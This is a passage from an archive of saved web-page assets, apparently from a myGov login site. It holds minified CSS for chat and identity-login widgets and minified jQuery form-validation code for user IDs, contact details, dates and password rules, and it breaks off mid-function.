15px;background-repeat:no-repeat;background-position:center;position:absolute!important;right:45px;bottom:2px;top:0;display:block;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_resizeIcon:focus{outline:3px solid #fff}.va_resizeIcon.va_large{background:url(../icons/va_resizesmall.svg);background-size:15px 15px;background-repeat:no-repeat;background-position:center}h1.va_chatTitle{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h2.va_chatTitle,.va_chatTitle.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}h1.va_chatTitle_mob{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1rem;line-height:inherit;margin:0}h1.va_chatTitle_mob:focus{outline:3px solid #fff}h2.va_chatTitle_mob,.va_chatTitle_mob.display{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-size:1.2rem;font-weight:bold;bottom:3px;padding:0;line-height:1.7em;margin-left:15px;margin-top:3.5px;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}#va_chatHeader{position:fixed;bottom:0;right:50px;width:350px;cursor:pointer}#va_chatHeader:focus{outline:3px solid #fff}.va_chatBorder{height:10px;width:inherit;background:#d7ea6a;position:relative;z-index:2;cursor:pointer}.va_skipToLink{display:none}.va_skipToLink.active{display:block!important;z-index:10;position:absolute;color:#000;background:#fff;padding:5px;font-weight:bold;top:-1000px;left:-1000px;height:0;width:0;font-size:.875rem!important;text-decoration:underline}a.va_skipToLink:focus,a.va_skipToLink:hover{top:0;left:0;outline:3px solid #666;height:40px;width:140px;margin-left:20px;margin-top:0;background:#fff}.va_chatborder{background:#d7ea6a}.va_header{height:50px;background:#026540}#va_chatHeader .va_header:hover{background:#014c30}@media screen and (max-width:599px),screen and (max-height:490px){.va_chatAnchor{right:0;width:100%;height:100%}.va_header{box-shadow:none}.va_chatBorder{display:none}#va_mobileBar{display:block;position:fixed;right:50px;bottom:0;width:150px;height:45px;background:#026540;background:-webkit-linear-gradient(#4d4d4f,#777);background:-webkit-linear-gradient(#026540,#026540);background:linear-gradient(#026540,#026540);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');border-top:#1c78b9 5px solid;color:#fff;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:normal;font-size:1.2rem;font-weight:bold;padding-left:10px;line-height:2.5;-webkit-text-size-adjust:100%}.va_mobileLarge{width:100%!important;top:0;left:0;border-radius:0!important;padding-left:20px!important}#va_chatHeader{display:none}#va_mobileToggle.va_mobileToggle{height:80px!important;width:100%;background:url(../icons/va_arrowup.svg);background-position:right 5px bottom 45px;background-size:20px 10px;background-repeat:no-repeat;position:absolute!important;right:0;bottom:-25px;display:block}#va_mobileToggle.va_mobileToggle.va_open{height:55px!important;background:url(../icons/va_arrowdown.svg);background-repeat:no-repeat;background-position:right 25px bottom 20px;background-size:20px 10px;right:17px;left:initial;bottom:-5px!important}.va_chatTitle{position:absolute;bottom:-2px;height:0;left:-20px;font-size:1rem}body{padding-bottom:40px}}.identity-profile-table{border-top:1px solid black}.identity-profile-table th:first-of-type,.identity-profile-table td:first-of-type{border-right:1px solid #999}.identity-profile-table th{display:table-cell;border-style:none;width:initial}.identity-profile-table th:focus{outline:-webkit-focus-ring-color auto 5px}.identity-profile-table th>img{vertical-align:middle}.identity-profile-table td{vertical-align:top}.identity-profile-givenname,.identity-profile-familyname,.identity-profile-dob{display:block}.login-grid-column.alternative:first-of-type{border:1px solid #999;border-radius:10px;background-color:white}@media screen and (min-width:768px){.login-grid-column.secondary{margin-top:0}}.digital-id-inner{margin-top:2em;padding:0 1em!important}@media screen and (min-width:992px){.digital-id-inner{margin-top:0;padding:0 2em}}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.digital-id-barrier{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.password-helper-text{font-size:.9rem}.login-grid-row.alternative{margin:10px}#secondary-identity-modal.hidden{display:none}#secondary-identity-modal.shown{position:-webkit-sticky;position:sticky;z-index:1060;background-color:white;top:10%}@media screen and (min-width:768px){#secondary-identity-modal.shown{position:fixed}}.identity-link-process ol{margin-left:1em}.digital-id-main-login-card.alternative{background-color:#eee;border-top-left-radius:10px;border-top-right-radius:10px}.transparent-background{background-color:transparent!important}.identity-modal-button-container .cancel-action{min-width:160px}.confirm-action{background-color:#222;color:white;min-width:160px}.confirm-action:disabled{background-color:#ccc}.sign-in-banner.alternative{font-size:22px;font-weight:bold;display:block;margin-top:10px;margin-left:10px}h2.digital-id-header,.digital-id-header.display{margin-top:0;font-weight:700;font-size:18px}#digital-id-selection fieldset{margin-top:0}#digital-id-selection legend{border-bottom:0;margin-bottom:0;display:none}#digital-id-selection legend h3,#digital-id-selection legend #poro-form #modal-title,#poro-form #digital-id-selection legend #modal-title,#digital-id-selection legend .poro-form #modal-title,.poro-form #digital-id-selection legend #modal-title{margin-top:0}.hr-divider{background:-webkit-linear-gradient(top,#eee 50%,white 50%);background:linear-gradient(to bottom,#eee 50%,white 50%);display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;height:5em}.hr-divider .rounded-border{border:1px solid #999;background-color:white;border-radius:50%;height:42px;width:42px;text-align:center;margin-right:auto;margin-left:auto;padding-top:4px}.digital-id-login-card.alternative{text-align:left;background-color:transparent;margin-bottom:0}.new-modal{position:fixed;top:0;left:0;z-index:1050;width:100%;height:100%;overflow:hidden;outline:0;background-color:rgba(0,0,0,0.8)}.generic-modal{padding:1em}.new-modal-content{background-color:white}#modal-zone{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}#secondary-modal-header{margin-top:0}#new-modal-content,#secondary-identity-modal{max-width:600px;width:100%}@-webkit-keyframes fadein{from{opacity:0}to{opacity:.8}}@keyframes fadein{from{opacity:0}to{opacity:.8}}@-webkit-keyframes fadeout{to{opacity:0}}@keyframes fadeout{to{opacity:0}}@-webkit-keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@keyframes slidein{from{top:0;opacity:0}to{top:10%;opacity:1}}@-webkit-keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}@keyframes slideout{from{top:10%;opacity:1}to{top:0;opacity:0}}.button-identity[disabled]{background-color:grey;color:white}.identity-modal-header-group{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-box-flex:2;-webkit-flex:2;-ms-flex:2;flex:2}.identity-modal-header-group .identity-question-header{font-size:1.5rem;margin-top:0}.identity-modal-header-group .explanatory-identity-header{font-size:1.5rem}.identity-modal-header-group #modal-action-dismiss,.identity-modal-header-group #secondary-modal-action-dismiss{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:right;-webkit-justify-content:right;-ms-flex-pack:right;justify-content:right}.identity-modal-header-group .modal-action-dismiss{-webkit-box-ordinal-group:3;-webkit-order:2;-ms-flex-order:2;order:2;z-index:3000;border:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:18px;height:18px;margin-left:auto;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.identity-modal-header-group .modal-action-dismiss:hover{background-color:transparent}.identity-modal-header-group .modal-action-dismiss img{width:36px}.secondary-identity-modal-button-container{margin-top:2em}.new-slide-in{-webkit-animation-name:slidein;animation-name:slidein;-webkit-animation-duration:1s;animation-duration:1s;position:-webkit-sticky;position:sticky;z-index:2500;top:10%}@media screen and (min-width:768px){.new-slide-in{position:fixed}}.new-slide-out{-webkit-animation:slideout;animation:slideout;-webkit-animation-duration:1s;animation-duration:1s}.new-fade{-webkit-animation-name:fadein;animation-name:fadein;-webkit-animation-duration:.2s;animation-duration:.2s}.new-fade-out{-webkit-animation-name:fadeout;animation-name:fadeout;-webkit-animation-duration:.2s;animation-duration:.2s}.new-show{display:block}.new-hide{display:none}.external-links-zone span{display:inline-block}.external-links-zone span.identity{margin-bottom:.7em}@media screen and (min-width:576px){.external-links-zone span.mygovid{float:right}}.link-external{width:1em;height:1em;display:inline-block;position:relative;top:4px;margin-right:3px}.link-external.blugov{top:2px}.link-external:hover{background:white;border:2px solid white}mygov/app/smsone_files/mgv2-application.js.download000064400000224023151676702570016516 0ustar00(function(global){global.maxMobileScreenWidth=992;global.getUrlParams=function(){var hashes=(window.location.href.split("?")[1]||"").split("&");var params={};for(var i=0;i input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}$(this).trigger("click");});$("form input").on("keypress",function(event){var charCode=event.charCode||event.keyCode||event.which;if(charCode==13){event.preventDefault?event.preventDefault():(event.returnValue=false);$(".button-main").trigger("mousedown");}});$(".button-main").on("click",function(event){$("[dont-validate]").removeAttr("dont-validate");$("form input:visible:enabled").each(function(){var type=$(this).attr("type");if($(this).attr("data-new-password")!==null||$(this).attr("data-reenter-password")!==null){$(this).trigger("blur");}else{$(this).val($(this).val().trim());$(this).trigger("blur");}});if($("form").find(".hasError").length!=0){$("form").find(".hasError:first > input").focus();event.preventDefault?event.preventDefault():(event.returnValue=false);}});$("[data-mandatory--input]").on("blur",function(){if((formHelper.isNotEmpty($(this).val()))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Require a value","p");}});$("[data-mandatory--checkbox]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Check this box to continue","p");}});$("form").preventDoubleSubmission();setErrorParent();});var cleanDefaultValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var label=$("label[for*=clkCRN] span");label.text(label.text()+" (optional)");var crn=$("input[name*=clkCRN]");if(crn.val()==="000000000Z"){crn.val("").css("color","inherit");}}};var setMandatoryValues=function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){var crn=$("input[name*=clkCRN]");if(crn!=null&&crn.val()===""){crn.css("color","transparent").val("000000000Z");}}};$.fn.preventDoubleSubmission=function(){$(this).on("submit",function(event){var $form=$(this);if($form.data("submitted")){event.preventDefault?event.preventDefault():(event.returnValue=false);}else{setMandatoryValues();$form.data("submitted",true);}});return this;};function findInfoOrErrorParent($elem,closestDefault){closestDefault=!closestDefault?"label":closestDefault;var $parent=$elem.closest($(closestDefault));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".poro-field-group")[0]!==undefined){$parent=$elem.closest($(".poro-field-group"));}else{if($elem.closest(".selectRadio")[0]!==undefined){$parent=$elem.closest($(".selectRadio"));}else{if($elem.closest(".raet-line")[0]!==undefined){$parent=$elem.closest(".raet-line");}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}else{if($elem.closest(".pincode-input-container")[0]!==undefined){$parent=$elem.closest(".pincode-input-container");}}}}}}return $parent;}function findSuccessParent($elem){var $parent=$elem.closest($("label"));if($elem.closest("fieldset")[0]!==undefined){$parent=$elem.closest($("fieldset"));}else{if($elem.closest(".input-group")[0]!==undefined){$parent=$elem.closest(".input-group");}}return $parent;}function clearMessageType($parent,typeClass){var $msgContainer=$parent.find("."+typeClass+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass(typeClass);$msgContainer.remove();}var setErrorParent=function(){$("form span.hasError").each(function(){var $elem=$(this);var $parent=findInfoOrErrorParent($elem);$parent.addClass("hasError");var $control=$parent.find("input,select");if($control&&$control.length===1){formHelper.associateMessageWithElement($control,$elem);$control.attr("aria-invalid",true);}});};var formHelper={replaceMessageClass:function($element,newClass){$element.removeClass("success");$element.removeClass("hasInfo");$element.removeClass("hasError");if(newClass){$element.addClass(newClass);}},clearAllMessages:function($parent,expectedMessageElementSelector){expectedMessageElementSelector=!expectedMessageElementSelector?"":expectedMessageElementSelector;var $msgContainer=$parent.find(expectedMessageElementSelector+'[role="alert"]');var containerId=$msgContainer.attr("id");if(containerId){formHelper.removeDescription($parent.find('[aria-describedby~="'+containerId+'"]'),containerId);formHelper.removeAriaErrorMessage($parent.find('[aria-errormessage~="'+containerId+'"]'),containerId);}$parent.removeClass("hasError");$parent.removeClass("hasInfo");$parent.removeClass("success");$msgContainer.remove();},resetDefaultValue:function($elem){$elem.val($elem.prop("defaultValue"));},setButtonGroupValue:function($elem,value){$elem.children().each(function(){$(this).removeClass("active");});$elem.children().each(function(){if($(this).text()==value){$(this).addClass("active");return false;}});},getButtonGroupValue:function($elem,cb){var value=null;$elem.children().each(function(){if($(this).hasClass("active")){value=$(this).text();return false;}});return value;},clearError:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearCodeError:function($elem){var $parent=findInfoOrErrorParent($elem,"div");clearMessageType($parent,"hasError");$elem.attr("aria-invalid",null);},clearInfo:function($elem){var $parent=findInfoOrErrorParent($elem);clearMessageType($parent,"hasInfo");$elem.attr("aria-invalid",null);},clearSuccess:function($elem){var $parent=findSuccessParent($elem);clearMessageType($parent,"success");$elem.attr("aria-invalid",null);},setMessage:function($elem,$parent,message,typeClass,ariaInvalid,elementType){elementType=!elementType?"span":elementType;ariaInvalid=!ariaInvalid?null:ariaInvalid;var $msgContainer=$("<"+elementType+">"+message+"").addClass("form-helper-message").addClass(typeClass).attr("role","alert").attr("aria-live","assertive").appendTo($parent);formHelper.replaceMessageClass($parent,typeClass);formHelper.associateMessageWithElement($elem,$msgContainer,typeClass);$elem.attr("aria-invalid",ariaInvalid);return $msgContainer;},setError:function($elem,text,messageElementSelector){if(!messageElementSelector){messageElementSelector="span";}var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,messageElementSelector);formHelper.setMessage($elem,$parent,text,"hasError","true",messageElementSelector);},setCodeError:function($elem,text){var $parent=$elem.closest($("div"));formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasError","true");},setInfo:function($elem,text){var $parent=findInfoOrErrorParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"hasInfo");},setSuccess:function($elem,text){var $parent=findSuccessParent($elem);formHelper.clearAllMessages($parent,"span");formHelper.setMessage($elem,$parent,text,"success");},setErrorSelect:function($elem,text){formHelper.clearSuccess($elem);var errText,$msgContainer;var $parent=findInfoOrErrorParent($elem);errText=$parent.find("#errorSelect");if(errText[0]===undefined){errText="";}$parent.append(errText).addClass("hasError");$msgContainer=$parent.find("#errorSelect");$msgContainer.html(text);},clearErrorSelect:function($elem){var $msgContainer;var $parent=findInfoOrErrorParent($elem);$msgContainer=$parent.find('span[id="errorSelect"]');$parent.removeClass("hasError");$msgContainer.remove();},isUserIdValid:function(userId){var unameRegex="^[ \t]*[a-zA-Z]{2}[0-9]{6}[ \t]*$";var unameRule=new RegExp(unameRegex);return unameRule.test(userId);},isEmailValid:function(emailAddress){var emailAddress=emailAddress.trim();var valid=emailAddress.search(/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);return(valid===0);},isHomeNumberValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===9&&number.substring(0,5)==="67232"){return true;}if(number.length===10&&number.substring(0,2).match("02|03|07|08")){return true;}}return false;},isWorkNumberValid:function(number){var number=formHelper.spaceRemoved(number);return(formHelper.isMobileValid(number)||formHelper.isHomeNumberValid(number));},isNumber:function(input){return(/^\d+$/).test(input);},isMobileValid:function(number){var number=formHelper.spaceRemoved(number);var isNumber=formHelper.isNumber(number);if(isNumber){if(number.length===10&&number.substring(0,2)==="04"){return true;}if(number.length===9&&number.substring(0,5)==="67235"){return true;}}return false;},isNotEmpty:function(val){return(val!=="");},isEmpty:function(val){return(val==="");},isTypingSame:function($this,$compareWith){var compareWithVal=$compareWith.val(),thisVal=$this.val(),curpos=thisVal.length-1,compareWithChar=compareWithVal.charAt(curpos),thisChar=thisVal.charAt(curpos),thisPortion=thisVal.substring(0,curpos),compareWithPotion=compareWithVal.substring(0,curpos),errMsg="",successMsg="";if(compareWithVal===thisVal){return true;}if(thisChar!==compareWithChar){return false;}if(thisPortion===compareWithPotion){formHelper.clearError($this);}},chkFieldIsEmpty:function($this){if(formHelper.isEmpty($this.val())){return true;}else{return false;}},chkTooManyCharacters:function($this,max){if($this.val().length>max){return true;}else{return false;}},chkNumberOnly:function($this){return(/^\d+$/g).test($this.val());},chkValidCode:function($this){return(/^(([0-9]){6})$/).test($this.val());},enableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",false).attr("aria-disabled",false);});}},disableDate:function(){if($(".date-fields").length>0){$(".date-fields input").each(function(){$(".date-fields input").prop("disabled",true).attr("aria-disabled",true);formHelper.clearError($(".date-fields input"));$(".date-fields input").val("");});}},spaceRemoved:function(thisval){return thisval.replace(/ /g,"");},associateMessageWithElement:function($input,$message,messageTypeClass){if(!messageTypeClass){messageTypeClass="";}const id=formHelper.ensureUniqueIdFor($input);const messageId=id+"__form-helper-message";$message.attr("id",messageId);messageTypeClass==="hasError"?formHelper.addAriaErrorMessage($input,messageId):formHelper.addDescription($input,messageId);},addDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];if(descriptions.indexOf(descriptionId)===-1){descriptions.unshift(descriptionId);}$element.attr("aria-describedby",descriptions.join(" "));},addAriaErrorMessage:function($element,errorMessageId){$element.attr("aria-errormessage",errorMessageId);},removeDescription:function($element,descriptionId){const originalDescriptionAttr=$element.attr("aria-describedby");const descriptions=originalDescriptionAttr?originalDescriptionAttr.split(" "):[];const newDescriptionAttr=descriptions.filter(formHelper.checkEmptyElements(descriptionId)).toString().replace(/,/g," ");if(newDescriptionAttr.trim().length>0){$element.attr("aria-describedby",newDescriptionAttr);}else{$element.attr("aria-describedby",null);}},removeAriaErrorMessage:function($element){$element.attr("aria-errormessage",null);},checkEmptyElements:function(descriptionId){return function(id){return id!==descriptionId;};},};(function(){var lastGeneratedIdNumber=0;function ensureUniqueIdFor($element){const originalId=$element.attr("id");if($element.attr("id")){return originalId;}else{var newId;var tries=0;do{newId="mgv-unique-element-"+(++lastGeneratedIdNumber);}while(tries<100&&$("#"+newId).length!=0);if(tries>=99){throw new Error("Could not generate an new ID");}$element.attr("id",newId);return newId;}}formHelper.ensureUniqueIdFor=ensureUniqueIdFor;})();(function($){$(".poro-date-fields-optional input").on("blur",function(){var testFuture=false,optional=true;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".poro-date-fields-mandatory input").on("blur",function(){var testFuture=false,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this));});$(".date-fields input").on("blur",function(){var testFuture=true,optional=false;updateDateField($(this),testFuture,optional);validateDate($(this),optional);});if($(".date-fields").length>0){var today=new Date();var dd=today.getDate().toString().length===1?"0"+today.getDate():today.getDate();var mm=(today.getMonth()+1).toString().length===1?"0"+(today.getMonth()+1):(today.getMonth()+1);var yyyy=today.getFullYear();if(dd!==undefined&&mm!==undefined&&yyyy!==undefined){$(".exampleDate").text("For example: "+dd+" "+mm+" "+yyyy);}}var validateDate=function($this,optional){var $parent=$this.closest($("fieldset")),date=$parent.find("[data-date]").val(),isDay=$this.attr("data-date-day")!==undefined,isMonth=$this.attr("data-date-month")!==undefined,isYear=$this.attr("data-date-year")!==undefined,thisval=$this.val(),isDateFilledIn=chkDateFilledIn($this);if(date===("NaN")||date===("future")){if(isDay){updateDayError($this,isDateFilledIn);}if(isMonth){updateMonthError($this,isDateFilledIn);}if(isYear){updateYearError($this,isDateFilledIn);}if((date==="NaN")&&isDateFilledIn){formHelper.setError($this,"Enter a valid date in the format of DD/MM/YYYY","p");}if((date==="future")&&isDateFilledIn){formHelper.setError($this,"The date can't be in the future","p");}}else{formHelper.clearError($this);}};var isValidDay=function(number){return(formHelper.isNumber(number)&&(number<32)&&(number>0));};var isValidMonth=function(number){return(formHelper.isNumber(number)&&(number<13)&&(number>0));};var isValidYear=function(number){var year=new Date().getFullYear();return(formHelper.isNumber(number)&&(number>year-150)&&(number.trim().length===4));};var chkDateFilledIn=function($elem){var $parent=$elem.closest($("fieldset"));if($parent!==undefined){day=$parent.find("[data-date-day]").val();month=$parent.find("[data-date-month]").val();year=$parent.find("[data-date-year]").val();if(formHelper.isNotEmpty(year)&&formHelper.isNotEmpty(month)&&formHelper.isNotEmpty(day)){return true;}}return false;};var updateDayError=function($day,isDateFilledIn){if(!isValidDay($day.val())){formHelper.setError($day,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateMonthError=function($month,isDateFilledIn){if(!isValidMonth($month.val())){formHelper.setError($month,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateYearError=function($year,isDateFilledIn){if(!isValidYear($year.val())){formHelper.setError($year,"Enter a valid date in the format of DD/MM/YYYY","p");}else{if(isDateFilledIn){formHelper.clearError($(this));}}};var updateDateField=function($this,testFuture,optional){var $parent=$this.closest($("fieldset")),now=moment(new Date(),"DD/MM/YYYY"),$year=$parent.find("[data-date-year]"),$day=$parent.find("[data-date-day]"),year=$parent.find("[data-date-year]").val(),month=$parent.find("[data-date-month]").val(),day=$parent.find("[data-date-day]").val(),isPartial=!($day.length>0),isDateFilledIn=chkDateFilledIn($year),$doc="";if(isPartial){if(month!==""||year!==""){$doc=month+"/"+year;validDate=isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{if(optional){if(day!==""||month!==""||year!==""){$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);$("[data-date]").val("");}else{$("[data-date]").val("optional");}}else{$doc=day+"/"+month+"/"+year;validDate=isValidDay(day)&&isValidMonth(month)&&isValidYear(year);}}var dateOfChange=moment($doc,"DD/MM/YYYY"),duration=moment.duration(now.diff(dateOfChange)),days=duration.asDays(),inFuture=!(days>=0)&&(testFuture);if($("[data-date]").val()==="optional"){return;}else{if(!isDateFilledIn||!validDate){$("[data-date]").val("NaN");return;}else{if(!inFuture&&validDate&&isDateFilledIn){$("[data-date]").val($doc);}else{if(inFuture){$("[data-date]").val("future");}}}}};})(jQuery);(function($){$(document).ready(function(){var initToggle=function(){$(".showPassword").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="";if($passwordInput.attr("data-new-password")!==undefined){relatedInputStr="data-reenter-password";}else{if($passwordInput.attr("data-new-pin")!==undefined){relatedInputStr="data-reenter-pin";}}if($passwordInput.attr("data-reenter-password")!==undefined){relatedInputStr="data-new-password";}else{if($passwordInput.attr("data-reenter-pin")!==undefined){relatedInputStr="data-new-pin";}}if(relatedInputStr!==""){$relatedElementInput=$("["+relatedInputStr+"]");$relatedElementInputButton=$relatedElementInput.siblings("button");}$inputType=$passwordInput.attr("type");if($inputType.toLowerCase()==="password"){setPwdHide($this);if(relatedInputStr!==""){setPwdHide($relatedElementInputButton);}}else{setPwdShow($this);if(relatedInputStr!==""){setPwdShow($relatedElementInputButton);}}});};var setPwdShow=function($this){var $passwordInput=$this.siblings("input");$showpasswordhelptext="Note: this will visually expose your password on the screen.";$showhelp=$("#show-hide-helpmsg");$passwordInput.attr("type","password");$this.attr("aria-label","Show password as plain text.").attr("aria-describedby","show-hide-helpmsg").html("Show");$showhelp.replaceWith("

"+$showpasswordhelptext+"

");};var setPwdHide=function($this){var $passwordInput=$this.siblings("input");$passwordInput.attr("type","text");var $hidepasswordhelptext="Note: this will visually stop exposing your password on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide password").attr("aria-describedby","show-hide-helpmsg").html("Hide");$hidehelp.replaceWith("

"+$hidepasswordhelptext+"

");};$('input[type="password"]').each(function(){var $this=$(this),showhide="";showhide='

Note: this will visually expose your password on the screen.

';$this.before(showhide);});$("[data-current-password]").on("focusout",function(){validateCurrentPwd($(this));});$("[data-new-password]").on("blur",function(){$relatedElementInput=$("[data-reenter-password]");validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Enter your new password","p");}if($relatedElementInput.val()!=""){$relatedElementInput.trigger("keyup");}});$("[data-reenter-password]").on("blur",function(){validateNewPwd($(this));if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}});$("[data-new-password]").on("keyup",function(){var errmsg="",password=$(this).val(),rule0=(/\s/g).test(password),rule1=formHelper.chkTooManyCharacters($(this),64);if(rule0){errmsg="Your password can't contain spaces";}else{if(rule1){errmsg="Password cannot be longer than 64 characters";}}if(errmsg!==""){formHelper.setError($(this),errmsg,"p");}else{formHelper.clearError($(this));}});$("[data-reenter-password]").on("blur",function(){var $compareWith=$("[data-new-password]"),isSame=($(this).val()===$compareWith.val());if(formHelper.isEmpty($(this).val())){formHelper.setError($(this),"Re-enter your new password","p");}else{if(isSame){formHelper.setSuccess($(this),"The passwords are the same","p");}else{formHelper.setError($(this),"The password you've re-entered doesn't match your new password","p");}}});$("[data-reenter-password]").on("keyup",function(){var $compareWith=$("[data-new-password]"),isSame=formHelper.isTypingSame($(this),$compareWith),errMsg="",successMsg="";if(isSame!==undefined){if(isSame){errMsg="";successMsg="The passwords are the same";}else{errMsg="The password you've re-entered doesn't match your new password";successMsg="";}if(formHelper.isNotEmpty($(this).val())){(errMsg!=="")?formHelper.setError($(this),errMsg,"p"):formHelper.setSuccess($(this),successMsg);}}});initToggle();});var validateCurrentPwd=function($elem){if(formHelper.chkFieldIsEmpty($elem)){formHelper.setError($elem,"Enter your current password","p");}else{formHelper.clearError($elem);}};var isthreeSequential=function(char1,char2,char3){var next=String.fromCharCode(char1.charCodeAt()+1);if(char2===next){var afternext=String.fromCharCode(char2.charCodeAt()+1);return char3===afternext;}return false;};var isthreeRepeated=function(char1,char2,char3){if(char1===char2){return(char2===char3);}};var chkSeqRep=function(str){var count=0;for(var x=0;x1);};var validateNewPwd=function($elem){var password=$elem.val(),relatedInputStr,errStatus,curPwd=$("[data-current-password]").val(),rule1=!(/^(?=.*[0-9])(?=.*[a-zA-Z])(([a-zA-Z0-9\!\@\#\$\%\^\&\*]){7,})$/).test(password),rule1=!(/^.{7,}$/).test(password),rule1b=!(/^[\s\da-zA-Z!@#$%^&*]*$/).test(password),rule2=!(/(([a-zA-Z]){1,})+/).test(password),rule3=!(/(([0-9]){1,})+/).test(password),rule4=(/(.)\1{3,}/).test(password),rule5=(/(abcd|bcde|cdef|defg|efgh|fghi|ghij|hijk|ijkl|jklm|klmn|lmno|mnop|nopq|opqr|pqrs|qrst|rstu|stuv|tuvw|uvwx|vwxy|wxyz)+/i).test(password.toLowerCase()),rule6=(/(0123|1234|2345|3456|4567|5678|6789|7890)+/i).test(password.toLowerCase()),rule7=chkSeqRep(password),rule8=(/\s/g).test(password),rule9=formHelper.chkTooManyCharacters($elem,64),rule10=(password===curPwd);errmsg="";if(rule1){errmsg="Your password must have at least 7 characters.";}else{if(rule2){errmsg="Your password must include a letter.";}else{if(rule3){errmsg="Your password must include a number.";}else{if(rule4){errmsg="Your password can't have more than 3 of the same numbers or letters in a row.";}else{if(rule5){errmsg="Your password can't have more than 3 letters in alphabetical order.";}else{if(rule7){errmsg="Your password can't repeat a sequence of any 3 letters or numbers.";}else{if(rule8){errmsg="Your password can't contain spaces.";}else{if(rule6){errmsg="Your password can't have more than 3 numbers in numerical order.";}else{if(rule1b){errmsg="Your password can only use these special characters !@#$%^&*.";}else{if(rule9){errmsg="Password cannot be longer than 64 characters.";}else{if(rule10){errmsg="Your new password can't be the same as your current password.";}}}}}}}}}}}if(formHelper.isNotEmpty(password)){if(errmsg!=""){formHelper.setError($elem,errmsg,"p");}else{formHelper.clearError($elem);}}};})(jQuery);(function($){$(document).ready(function(){$("[data-email-address]").on("blur",function(){if($(this).val().trim()!==""){if(formHelper.isEmailValid($(this).val().trim())){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid email address. For example name@mail.com","p");}}else{formHelper.clearError($(this));}});var contactNumber=function(){var 